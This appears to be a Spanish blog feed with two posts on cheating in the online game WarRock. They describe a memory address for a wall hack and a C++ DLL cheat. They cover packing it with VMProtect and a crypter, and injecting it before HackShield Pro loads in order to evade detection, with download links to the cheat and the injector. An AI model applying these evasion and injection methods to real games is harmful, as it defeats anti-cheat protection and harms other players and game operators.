<span style="font-family: Courier New, Courier, monospace;"><i><span lang="EN-US" style="color: #333333; font-size: 8pt;">___:004960D0 push offset flt_9E23F4</span></i></span></div>
<span style="font-family: Courier New, Courier, monospace;">
</span>
<br />
<div class="MsoNormal" style="text-align: justify;">
<span lang="EN-US" style="background-color: #fafafa; background-position: initial initial; background-repeat: initial initial; color: #333333; font-size: 8pt; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;">So it's #define Glasswalls
0x9E23F4<o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="EN-US" style="background-color: #fafafa; background-position: initial initial; background-repeat: initial initial; color: #333333; font-size: 8pt; line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i>¿Sería posible
encontrar <b>Frustum.FarDistance</b> en mi volcado?</i> Nada mejor que utilizar <b>IDA Pro</b>, para estos casos. Así que
buscando la dirección actual, me encontré fácilmente con el PUSH.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj89mk0ShI7PK8uVFIo28jnn1_CIixpVAamnv-P4IaXoIGa2e3umhyphenhyphenypGQtBhmPAI0rKmsCPc6EFPsPCy11wjsCwU1lEh3UFF9sMD0a-7PVDWX4YstoStKaE5WFAb_RIdqcSoO73mqec17O/s1600/4-glass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="318" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj89mk0ShI7PK8uVFIo28jnn1_CIixpVAamnv-P4IaXoIGa2e3umhyphenhyphenypGQtBhmPAI0rKmsCPc6EFPsPCy11wjsCwU1lEh3UFF9sMD0a-7PVDWX4YstoStKaE5WFAb_RIdqcSoO73mqec17O/s640/4-glass.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Otra de las direcciones necesarias para realizar el cheto, es
el puntero del jugador, con lo que realizando la búsqueda, esta sí un poco más
compleja, la encontré.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Cogí mi proyecto y fui directo a <b>Dev C++ 32 Bits</b> para compilarlo, un simple <b>IF</b> a la espera de la tecla <b>F6</b>,
con la función <b>GetKeyState</b>, sería la
encargada de poner el valor en <b>1</b> ó <b>0</b> para activar/desactivar.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicZowx6FO1AM0O6ik288jhOov-GRzckqDqwO9CoKQMlfZP4wJcwLgB5Sesf8XIFq4wH36u-jAd3ykW0Zh2QEIR6M_WM4PsSwlayCSaSlFKbTyeSOs99Kb1csjr_fnl-cGIclIXxVKaYCRp/s1600/5-dll.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="626" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicZowx6FO1AM0O6ik288jhOov-GRzckqDqwO9CoKQMlfZP4wJcwLgB5Sesf8XIFq4wH36u-jAd3ykW0Zh2QEIR6M_WM4PsSwlayCSaSlFKbTyeSOs99Kb1csjr_fnl-cGIclIXxVKaYCRp/s640/5-dll.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Aunque conseguí hacerlo funcionar, otro problema apareció en
la sombra de <b>HackShield Pro</b>. Al rato
de jugar con la librería cargada en memoria, aparecía el siguiente mensaje que
cerraría mi actividad.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxERC3G2KjwhCk_fHfSOF7VNxXKJBjp5fjMWTJ0fcDIGDDoct_aadH0Nh5ZqXrv4ABhQxjrzq8sBnRSquuliAb1s7cAedz0n4ha9klIss1llDtTJY8Z_lDAy8rYg-rvmtaZJj05ePg9nCI/s1600/6-NOsaben%2521.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxERC3G2KjwhCk_fHfSOF7VNxXKJBjp5fjMWTJ0fcDIGDDoct_aadH0Nh5ZqXrv4ABhQxjrzq8sBnRSquuliAb1s7cAedz0n4ha9klIss1llDtTJY8Z_lDAy8rYg-rvmtaZJj05ePg9nCI/s640/6-NOsaben%2521.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Después de ofuscar el código manualmente y no encontrar
solución, decidí darle vuelta a la tortilla y actualizando mis Service Packs,
descargué <b>Visual Studio C++ 2010</b> para
realizar otra compilación.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVm4L99Q4gqCofjjhMQLFl24nhvHQgUtDPkRhCd28kyfvAxlcc-SmwmDuH_q64H0Pr0QKQO0q0CVF6S8ML98jBqg5JB1GvZvE0XGjoAv37jsuua1fBZyCbCvIvNdgxNc-vpyriUHoAYDue/s1600/7-VisualC%252B%252B.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="448" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVm4L99Q4gqCofjjhMQLFl24nhvHQgUtDPkRhCd28kyfvAxlcc-SmwmDuH_q64H0Pr0QKQO0q0CVF6S8ML98jBqg5JB1GvZvE0XGjoAv37jsuua1fBZyCbCvIvNdgxNc-vpyriUHoAYDue/s640/7-VisualC%252B%252B.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">No contento con esto, se me ocurrió buscar uno de los softwares
punteros en protección de librerías DLL desarrolladas en C++. Nada como <b>VMProtect Professional v2.05</b>, con
controles <b>Anti-Debuggin</b> a nivel de <b>usuario</b> y <b>Kernel</b>, protecciones al <b>Entry
Point</b>…<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGglhyphenhyphen1vUCvkHt_S9-3ECuV0t59JOHNSal-zl_J-f0mpLagi007J-JAN7oPHgwxig8knnAtWctQfw4YzSohtEG5CRqXn03fiA76WbTWy6IzjF_Wv1DvzQbWyRG0_nRl1QJb5zqtpKMec_T/s1600/8-vmprotect+pro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGglhyphenhyphen1vUCvkHt_S9-3ECuV0t59JOHNSal-zl_J-f0mpLagi007J-JAN7oPHgwxig8knnAtWctQfw4YzSohtEG5CRqXn03fiA76WbTWy6IzjF_Wv1DvzQbWyRG0_nRl1QJb5zqtpKMec_T/s640/8-vmprotect+pro.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Con el consiguiente resultado, desde <b>RDG Packer Detector, </b>se necesita de sus métodos heurísticos para
detectar el Packer.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXEfskbDSUhyphenhyphen3kMBMVtJ65O5gB-gQJcuwsHL2iyefNWhPsDwT2rXcyV4TBAHweWjlovVS7pC85_7O_vZ4T7SbtAYCnWMHJEcmATHEcmnQgjNnnhfQrO3A5qDRdZLqxyGQxZgzl05PWwncp/s1600/9-Librer%25C3%25ADa+protegida.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXEfskbDSUhyphenhyphen3kMBMVtJ65O5gB-gQJcuwsHL2iyefNWhPsDwT2rXcyV4TBAHweWjlovVS7pC85_7O_vZ4T7SbtAYCnWMHJEcmATHEcmnQgjNnnhfQrO3A5qDRdZLqxyGQxZgzl05PWwncp/s1600/9-Librer%25C3%25ADa+protegida.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><b><a href="http://www.4shared.com/get/Kn4Mbj1C/eneldll_injector.html">EnelDLL Injector</a></b> en
automático y…<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5KFj-jiKCAHoqD0p6kZNb8NPPpoDrHIxL-BiYKupOgnFnUOk8ed7HoVCSHzKvVFmM5VGny5ngRfhZ1Oq8YwzN9phtTft2i1n-WpDsZjJ8THUxIDAABK6xxMZFPUrpAH0ga9N3AtohaS1X/s1600/10-Inject.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5KFj-jiKCAHoqD0p6kZNb8NPPpoDrHIxL-BiYKupOgnFnUOk8ed7HoVCSHzKvVFmM5VGny5ngRfhZ1Oq8YwzN9phtTft2i1n-WpDsZjJ8THUxIDAABK6xxMZFPUrpAH0ga9N3AtohaS1X/s1600/10-Inject.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="EN-US"><span style="font-family: Courier New, Courier, monospace;">SPAM! SPAM!
SPAM! SPAM! SPAM! SPAM!<o:p></o:p></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span lang="EN-US"><span style="font-family: Courier New, Courier, monospace;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsp0xz1LmdFrOOZvEtZfK7hbbyGkW5nvaddU5_titKY35FhjBT_uTlY7uHyYdfvJwPCPW5XQatfnXvdp3hC-iURo-_TElWGxqAOB2lGGIu0qhj23fo2VfzBsu3ewAKVuFJiYQemeeqbpsJ/s1600/11-DLL+inyectada.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsp0xz1LmdFrOOZvEtZfK7hbbyGkW5nvaddU5_titKY35FhjBT_uTlY7uHyYdfvJwPCPW5XQatfnXvdp3hC-iURo-_TElWGxqAOB2lGGIu0qhj23fo2VfzBsu3ewAKVuFJiYQemeeqbpsJ/s1600/11-DLL+inyectada.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace; font-size: large;"><b>ANTES…<o:p></o:p></b></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo75COwzm8DDrosvfVxTolVwv3EhTyn5-WNJVeHvkOyfDqsRQbPTE3aK7ztC4h2fGb46NlR3hp7TluLuQOpH4k2W5LkwBl_FgOEjHdAM6yWBTiJeDe-g-UVUhjsC_GNHfVZqF8vbs5L8sW/s1600/13-Sin+Paredes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo75COwzm8DDrosvfVxTolVwv3EhTyn5-WNJVeHvkOyfDqsRQbPTE3aK7ztC4h2fGb46NlR3hp7TluLuQOpH4k2W5LkwBl_FgOEjHdAM6yWBTiJeDe-g-UVUhjsC_GNHfVZqF8vbs5L8sW/s640/13-Sin+Paredes.jpg" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace; font-size: large;"><b>DESPUÉS…<o:p></o:p></b></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvXlPsb_8Qom_kKEX0bUIjHWFYOqTjfG1DizTUHkbQk2ng98Ii4jsdmYrOhYvd7VyRGp-brZdjtPmG7_pg_8y_kf3q5AIKKsESAUa4QN0_bcv65DEh4StDyFibvtpIB7z7qpILinHWB2pn/s1600/12-Paredes.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvXlPsb_8Qom_kKEX0bUIjHWFYOqTjfG1DizTUHkbQk2ng98Ii4jsdmYrOhYvd7VyRGp-brZdjtPmG7_pg_8y_kf3q5AIKKsESAUa4QN0_bcv65DEh4StDyFibvtpIB7z7qpILinHWB2pn/s640/12-Paredes.png" width="640" /></a></div>
</div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">PD1: La tecla para activar la última compilación del cheto es</span><span style="font-family: 'Courier New', Courier, monospace;"> </span><b style="font-family: 'Courier New', Courier, monospace;">Insert</b><span style="font-family: 'Courier New', Courier, monospace;">.</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: 'Courier New', Courier, monospace;">PD2: Un enorme abrazo a los grandes de <a href="http://www.flu-project.com/">Flu Project</a>, <b>Juan Antonio Calles</b> y <b>Pablo Gonzalez. </b>Vuestro proyecto <b>Flu-AD</b>, sí que es una muestra del auténtico étical injection.</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">PD3: Cabrones, que vergüenza pasé con mis atuendos en el escenario de <b>RootedCon </b>jajajaj</span><br />
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Descarga: <a href="http://www.4shared.com/get/e8Bw6qZA/DLL_VCwwwenelpccom.html">http://www.4shared.com/get/e8Bw6qZA/DLL_VCwwwenelpccom.html</a></span><o:p></o:p><br />
<br />
<span style="font-family: 'Courier New', Courier, monospace;">Saludos 4n4les! ;)</span></div>
<div class="MsoNormal" style="text-align: justify;">
<o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com11tag:blogger.com,1999:blog-2707641124274171597.post-72639961345678384622013-03-20T00:03:00.001+01:002022-11-23T11:44:46.060+01:00HackShield Pro K.O. EnelDLL Injector<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i>¿Qué sería de este
blog sin mi kit de Inspector Gadget? ¡Pues eso!</i> absolutamente nada. Si no
viniera de higos a brevas, a marearos con mis paranoicas montañas rusas de
pensamientos posiblemente superfluos, <i>¡aquí no quedaba ni Dios! </i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Esta entrada <i>¡cómo no!</i>,
venía labrándose desde aquellos tiempos, en los que mimetizado con lo que sería
la esquina de la clase de redes, en aquella corta estancia de mis andanzas
colegiales, encontraba un pasatiempos que hoy me daría algo que contar.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Por internet, hemos visto información muy interesante sobre cómo
realizar modificaciones en las direcciones de memoria de juegos online, aunque
en ninguna de ellas, se vio información de cómo evadir aplicaciones
Anti-Hackers conocidas como <b>PunkBuster </b>o <b>HackShield Pro</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Pues bien, en aquellos tiempos nocturnos de viciadas sin
fin, o de clases aburridas… siempre terminé topándome con un juego llamado <b><a href="http://en.warrock.nexoneu.com/landing">WarRock</a></b>. Entre nosotros podemos decir,
que es una fusión entre el conocido <b>Counter Strike</b> y el gigantesco <b>Battlefield</b>,
aunque por suerte este juego es gratuito, o al menos su adquisición.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Hace varios años, la seguridad del juego estaba en manos de
PunkBuster, una aplicación que evitaba que los usuarios malintencionados,
modificasen las direcciones de memoria, desde ciertas aplicaciones externas
conocidas. Lo más parecido al funcionamiento de una antivirus. Aplicaciones
como Cheat Engine, valían de mucho para realizar este tipo de “Chetos”.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Actualmente, el motor Anti-Hackers, está en manos de <b>HackShield Pro</b>, algo más potente en el
momento de su salida y con nuevas tecnologías para evitar a ese tipo de
personas, que se dedican en juegos online, a incluir ciertos super-poderes en
juegos bélicos. Tales como tener munición ilimitada, atravesar paredes, ver a través
de las mismas o incluso a realizar saltos de más 3000 metros… nada, lo normal.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Sin más royo que contaros, he vuelto a ser el niño de antes,
ahora sí, tratando de investigar de qué manera <b>HackShield Pro</b>,<b> </b>detecta
las aplicaciones que proveen de "super-poderes" a los personajes. He montado un
pequeño recuadro con tres simples pruebas con mis aplicaciones en Visual Basic 6, intentando
zurrar al proceso <b>WarRock.exe</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibUDjSwoeE85wvM9oU6nSNPEU__X0EMiOBjwwB-CliX261SxT-DIpXNsFCSy8t1xfb_YPIwQ1L8DHrAFLoDnrVn0lB9d3Z5Wd8yPOI9exYGgmmWBGBRBS33pwyGi0hrRNo78ev1STbqApp/s1600/EnelDLL%252BInjector%252B0.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibUDjSwoeE85wvM9oU6nSNPEU__X0EMiOBjwwB-CliX261SxT-DIpXNsFCSy8t1xfb_YPIwQ1L8DHrAFLoDnrVn0lB9d3Z5Wd8yPOI9exYGgmmWBGBRBS33pwyGi0hrRNo78ev1STbqApp/s640/EnelDLL%252BInjector%252B0.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">A modo Fucker, me he dado cuenta de que a HackShield Pro, no
le gusta un pelo el Visual Basic 6, algo que veo normal, ya que hace años
absolutamente toda la información para realizar este tipo de modificaciones,
estaba escrita con este lenguaje… así que fue una forma de forzar a los
usuarios “hackers”, a migrar su sabiduría a otros lenguajes. Cosa que no
cayeron, es en la utilización de <b>Packers/Crypters</b>. Con lo que demuestra que
HackShield Pro se basa en detecciones por firmas y no mediante métodos
heurísticos avanzados, como por ejemplo, el tipo de librerías que cargan los
binarios atacantes. Nada nuevo… visto el funcionamiento de ciertos antivirus,
esto debe de ser peor.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Algo que se le ocurrió a las comunidades de foreros, que
realizan este tipo de trucos, es la idea de que mediante <b>Inyecciones DLL</b>, podrían cargar el contenido del “main“ de una
librería dinámica, con el objetivo de que las aplicaciones que modifiquen la
memoria, procedan directamente del proceso el cual vigila HackShield Pro.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i>¿Y cómo inyectar la librería con HackShield Pro delante de las mismísimas narices del juego?</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Pues nada tan sencillo como hacerlo antes de que el
Anti-Hackers, se cargue por completo, ya que su motor no monitoriza posibles
inyecciones de código, si no se ha cargado en su totalidad. En este corto
transcurso de tiempo, es posible inyectar en memoria sobre el proceso del juego.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Así que para no dejar de lado como hicieron todos los
foreros a mi querido Visual Basic 6, he preparado una aplicación que permite
realizar inyecciones de librerías compiladas en C++ y la he cifrado con un Crypter
Runtime compilado en Delphi. La he bautizado con el nombre de <b>EnelDLL Injector</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La aplicación muestra los procesos existentes y permite
seleccionarlos, para realizar inyecciones manuales en los mismos, incluyendo
previamente la ruta de la librería a inyectar.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitbNy5WX2_usKB8jXcJcIhx80HfVHgYHp32_53tuANc71cFqAfFWsxJadMxgnSBWLYSJb5Nys4HFN1OjP9HGKfhKpPaHYLVocmeXV-6yq6iVqPcAXkmwgDHptY34TShcZS6hnzFieNQS4x/s1600/EnelDLL%252BInjector%252B1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitbNy5WX2_usKB8jXcJcIhx80HfVHgYHp32_53tuANc71cFqAfFWsxJadMxgnSBWLYSJb5Nys4HFN1OjP9HGKfhKpPaHYLVocmeXV-6yq6iVqPcAXkmwgDHptY34TShcZS6hnzFieNQS4x/s1600/EnelDLL%252BInjector%252B1.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Por otro lado, he incluido un modo automático el cual
monitoriza en que momento el proceso es lanzado, para automáticamente inyectar
la librería y cerrarse el programa. Este es cerrado de forma
rápida, para evitar futuras detecciones basadas en firmas de parte de
HackShield Pro.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJBYx4llW-G9ELOj5svJuR4vrLFfVvG6mLmyVAZcvDu51uLbTi-jfg5eZeleSMcjIc6FJeYFD2R1dofKkeO0c4iMDORcffBe7CxEOkhyYKLKdWUo6b8_CSmOeMzTN_H5faSuVosx_gPJyw/s1600/EnelDLL%252BInjector%252B2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJBYx4llW-G9ELOj5svJuR4vrLFfVvG6mLmyVAZcvDu51uLbTi-jfg5eZeleSMcjIc6FJeYFD2R1dofKkeO0c4iMDORcffBe7CxEOkhyYKLKdWUo6b8_CSmOeMzTN_H5faSuVosx_gPJyw/s1600/EnelDLL%252BInjector%252B2.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Después de pegarme a palos con tasklist…</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_SACPrLZPkuCIb_cy1fTrg7xTa541mf6Uq5-Jl1imcnNJb9rLhdJMgGxXrkIBj-KxAhBSutEiiZv8vDKbziGK5aX2iqyKAxXOBjpZsijzQaMgJGJJVMJuAf1t2V5CVIPXrbds__GPbDv/s1600/EnelDLL%252BInjector%252B3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_SACPrLZPkuCIb_cy1fTrg7xTa541mf6Uq5-Jl1imcnNJb9rLhdJMgGxXrkIBj-KxAhBSutEiiZv8vDKbziGK5aX2iqyKAxXOBjpZsijzQaMgJGJJVMJuAf1t2V5CVIPXrbds__GPbDv/s640/EnelDLL%252BInjector%252B3.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Y con ListDlls de sysinternals…</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuy0iaF91wFSqPM4rsCzod8lnK4ofvMG12zFyGZzSsjQtykYKdZH7D3GJdqlJedMnh9lHaIjpSNVy0KHcFEMbP3fLPKT-Bi34AYl6XJ39-Hg_DiRk0kf3dPSMMCz4vnW6hqdqDXx4pbQ2u/s1600/EnelDLL%252BInjector%252B4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuy0iaF91wFSqPM4rsCzod8lnK4ofvMG12zFyGZzSsjQtykYKdZH7D3GJdqlJedMnh9lHaIjpSNVy0KHcFEMbP3fLPKT-Bi34AYl6XJ39-Hg_DiRk0kf3dPSMMCz4vnW6hqdqDXx4pbQ2u/s640/EnelDLL%252BInjector%252B4.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Salí de dudas en que la lectura de las librerías, estaba siendo
protegida por HackShield. Pero si existía algo de lo que no podían escapar,
es de<b> Process Monitor</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi05RddRiCyPj1C6tFG8FBfsz4jnEsYuJeEHRcLofGB0vmFSwdZzIP9CCBU5sTSQZIcE1MCEpX2nFMRgUCAxqmDklk0GQvTcFwZJr0N-Vqpk_g0i4YQMbD707hZbZ057dV3Fo1BrNTJkRda/s1600/EnelDLL%252BInjector%252B5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi05RddRiCyPj1C6tFG8FBfsz4jnEsYuJeEHRcLofGB0vmFSwdZzIP9CCBU5sTSQZIcE1MCEpX2nFMRgUCAxqmDklk0GQvTcFwZJr0N-Vqpk_g0i4YQMbD707hZbZ057dV3Fo1BrNTJkRda/s640/EnelDLL%252BInjector%252B5.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">No obstante, algunos desarrolladores de chetos dejan claro
que el “main” de la librería pasó por el proceso.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
